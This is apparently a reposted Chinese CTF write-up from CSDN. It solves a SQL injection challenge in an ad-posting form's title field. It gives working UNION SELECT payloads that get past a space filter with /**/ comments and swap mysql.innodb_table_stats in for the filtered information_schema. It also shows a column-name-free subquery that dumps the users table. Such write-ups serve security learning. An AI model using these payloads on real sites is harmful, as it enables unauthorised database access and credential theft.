注册进去发现可以发广告,这种格式不是sql注入就是xss漏洞。

可以发现是存在的。后面用beef发现没用,并不是窃取cookie信息来登录后台
试试sql注入
在标题上进行判断
可以发现标题存在sql注入,往后面试,发现%23和--+ 不能闭合。
我们可以在后面加上别的
可以发现,上图''1'' 和这边的'322' 1’是我们输入的内容。
多加个单引号构造"1"'让语句闭合
进行联合查询的时候发现过滤了空格
可以用/**/绕过(之前试试了括号但觉得好奇怪,不理解为什么报错)
1'/**/union/**/select/**/1,2,3/**/'

往后面一直加,发现加到22列
1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

发现2,3那可查
查询库名的时候发现被过滤了,
可能是from和information被过滤了,查资料 (select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats)
学到一个新姿势,mysql.innodb_table_stats查询表名
还可用sys.schema_auto_increment_columns
/****
(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum
ns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
,19,20,21,22/**/'
*****/
上面方法行不通做个记录吧
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'

查询到了表名,接下来可以无列名查询
可参考该链接
1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)b),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/'
疑问:为什么我用a代替b的时候他说a这个列不存在。。。。不明白。
来源:CSDN
作者:SopRomeo
链接:https://blog.csdn.net/SopRomeo/article/details/104783528